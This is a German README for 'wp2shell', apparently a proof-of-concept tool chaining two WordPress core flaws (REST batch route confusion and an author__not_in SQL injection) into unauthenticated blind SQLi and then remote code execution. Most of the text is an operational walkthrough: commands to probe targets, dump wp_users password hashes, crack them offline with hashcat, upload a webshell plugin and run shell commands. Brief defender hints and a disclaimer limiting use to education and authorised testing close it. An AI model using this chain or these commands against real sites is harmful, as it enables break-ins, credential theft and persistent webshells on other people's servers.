
CVE-2026-63030 (RCE) + CVE-2026-60137 (SQLi)
Unauthenticated Remote Code Execution für WordPress Core POC (CVE-2026-63030 + CVE-2026-60137)
wp2shell Exploit für eine kritische Sicherheitslückenkette im WordPress Core. Er kombiniert einen REST-API-Batch-Route-Confusion-Bug mit einer SQL-Injection in WP_Query, um eine nicht authentifizierte Remote-Code-Ausführung auf anfälligen WordPress-Installationen zu erreichen.
| Detail | Info |
|---|---|
| CVEs | CVE-2026-63030 (REST-Batch-Route-Confusion) + CVE-2026-60137 (author__not_in SQLi) |
| Betroffen | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| Behoben | 6.9.5, 7.0.2 |
| Erforderliche Authentifizierung | Keine — nicht authentifiziert |
| CVSS | Kritisch (RCE-Kette) |
| Entdeckt von | Adam Kues (Assetnote / Searchlight Cyber) |
| Abhängigkeiten | Python 3.8+ — nur Standardbibliothek |
Der Exploit kombiniert zwei Fehler im WordPress Core:
CVE-2026-60137 — SQL-Injection – Wenn author__not_in als String statt als Array übergeben wird, überspringt WordPress die is_array()-Sicherheitsprüfung und interpoliert den rohen Wert in eine NOT IN (...) SQL-Klausel.
CVE-2026-63030 — Batch-Route-Confusion – Der Endpunkt /wp-json/batch/v1 erstellt parallele $matches- und $validation-Arrays. Eine fehlerhafte Unteranfrage wird an $validation angehängt, aber nicht an $matches, was zu einer +1 Indexverschiebung führt. Unteranfrage i wird mit dem Handler von Unteranfrage i+1 ausgeführt.
Kombiniert: Eine POST /wp/v2/posts-Anfrage, die eine innere GET /wp/v2/users-Anfrage mit einem author_exclude-String trägt, umgeht sowohl die Methoden-Whitelist als auch die Eingabebereinigung. Der String erreicht WP_Query als author__not_in und wird in SQL interpoliert — was Ihnen eine nicht authentifizierte blinde SQL-Injection ermöglicht.
Von dort aus kann das Tool:
git clone https://github.com/ekomsSavior/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
Das war's. Keine Drittanbieterpakete erforderlich.
./wp2shell.py <url> [command] [options]
./wp2shell.py http://target.com
Startet ein interaktives Menü mit allen Funktionen, die über nummerierte Optionen verfügbar sind.
check — Sicherheitslücke bestätigen (Sicher)Führt eine Zeitverzögerungssonde durch, um die Ausnutzbarkeit zu bestätigen. Liest keine Daten und ändert nichts.
./wp2shell.py http://target.com check
read — Daten extrahieren (Blinde SQL-Injection)Extrahiert Informationen aus der Datenbank mittels zeitbasierter blinder SQL-Injection.
# Server-Fingerabdruck (Version, Datenbank, Benutzer)
./wp2shell.py http://target.com read
# Benutzer-Logins und Passwort-Hashes extrahieren
./wp2shell.py http://target.com read --users
# Datenbanknamen extrahieren
./wp2shell.py http://target.com read --database
# MySQL-Version extrahieren
./wp2shell.py http://target.com read --version
# Benutzerdefinierte SQL-Abfrage
./wp2shell.py http://target.com read --query "SELECT @@version"
shell — Remote-Code-AusführungErfordert gültige Administrator-Anmeldeinformationen. Die SQL-Injection kann den Passwort-Hash wiederherstellen, aber Sie müssen das wiederhergestellte Klartext-Passwort angeben.
# Einzelnen Befehl ausführen
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"
# Einzelnen Befehl ausführen (Kurzform)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami
# 1. Check if the target is vulnerable
./wp2shell.py https://example.com check
# 2. Extract admin password hashes
./wp2shell.py https://example.com read --users
# 3. Crack the hash offline (using hashcat, john, etc.)
# hashcat -m 400 <hash> /path/to/wordlist.txt
# 4. Execute a command with the recovered password
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"
| Branch | Betroffen | Behoben |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.x | 6.8.0 – 6.8.5 (nur SQLi, kein RCE) | 6.8.6 |
Versionen vor 6.9.0 sind nicht von der vollständigen RCE-Kette betroffen.
Für Verteidiger:
POST /wp-json/batch/v1-Anfragen mit verschachtelten requests-Bodies404 auf der Batch-Route bedeutet nicht immer "gepatcht" — es kann auch bedeuten, dass eine WAF/CDN den anonymen REST-API-Zugriff blockiertDieses Tool dient ausschließlich zu Bildungs- und autorisierten Sicherheitstestzwecken.
Für weitere Details zur Sicherheitslücke siehe den Searchlight Cyber Research-Blog.
| Funktion | Beschreibung |
|---|
| Sicherheitslückenprüfung | Sichere Zeitverzögerungssonde – liest keine Daten, ändert nichts |
| Datenextraktion | Blinde SQL-Injection mit binärer Suchoptimierung für effiziente Extraktion |
| Benutzer-Hash-Dump | Extrahiere user_login- und user_pass-Hashes aus wp_users |
| Remote-Code-Ausführung | Als Administrator authentifizieren, ein Webshell-Plugin hochladen, Befehle ausführen |
| Interaktive Shell | Sitzung zur dauerhaften Befehlsausführung |
| Farbausgabe | Klares visuelles Feedback für Scanergebnisse |
| Keine Abhängigkeiten | Verwendet nur die Python-Standardbibliothek |
| Option | Beschreibung |
|---|
--users | Extrahiere user_login und user_pass aus wp_users |
--database | Extrahiere den aktuellen Datenbanknamen |
--version | Extrahiere die MySQL-Version |
--query "SQL" | Führe eine benutzerdefinierte SQL-Abfrage aus (blinde Extraktion) |
--user USER | Administrator-Benutzername für RCE |
--password PASS | Administrator-Passwort für RCE (Klartext, via SQLi wiederhergestellt) |
--cmd CMD | Über die Webshell auszuführender Befehl |